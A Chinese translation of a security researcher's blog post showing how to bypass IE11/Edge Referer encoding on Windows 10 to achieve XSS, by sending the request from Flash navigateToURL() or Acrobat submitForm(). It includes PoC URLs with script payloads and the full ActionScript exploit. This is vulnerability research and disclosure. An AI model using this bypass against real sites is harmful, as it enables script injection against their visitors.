原文链接: http://mksben.l0.cm/2016/10/xss-via-referrer.html
原作者:Masato Kinugawa
译者:Holic (知道创宇404安全实验室)
自从 Windows 10 发布周年更新版本后,微软貌似在 IE11 和 Edge 上杜绝了一些 XSS 技巧。referrer的行为便是其中之一。
下面的这个页面之间将 HTTP_REFERER
和 document.referrer
写进了页面里面:
https://vulnerabledoma.in/xss_referrer
之前的IE/Edge版本并没有编码"<>
字符,因此我们能直接利用以下的 PoC 施展 XSS 攻击:
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>
但自从 Windows 10 周年更新之后, IE11 和 Edge 浏览器对它进行了编码。然后将会在页面中得到以下编码过的字符串:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
太糟了。
当然使用 Win8.1/7 的 IE11 依然受影响。但我们难道不想在Win10上进行 XSS 吗?
现在我来分享一个小技巧,在最新版 Win10 Edge/IE11 上利用 referrer 进行 XSS。
非常简单的技巧。如果发送请求来自于Flash的navigateToURL()
方法,那么你将能很轻易的在 referrer 中包含"<>
字符串,就像下面的方法:
https://l0.cm/xss_referrer.swf?<script>alert(1)</script>
这儿是相应的 ActionScript 代码:
package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.navigateToURL;
public class xss_referrer extends Sprite{
public function xss_referrer() {
var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
navigateToURL(url, "_self");
}
}
}
正如所见的访问结果,我们能通过 Referrer
请求头造成XSS。但很遗憾不能通过 document.referrer
属性进行XSS,因为它是空的。Dang :P
参考内容:我还能通过 Acrobat API 中 JavaScript 的 submitForm() method 复现此漏洞。
我在使用 Adobe Reader plugin 的 Win10 IE11 确认了此漏洞的存在。
PoC在这儿:
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>
看来并没有被考虑到通过插件发起请求的情况。
就酱,在一些场景或许会有帮助吧。 Thanks!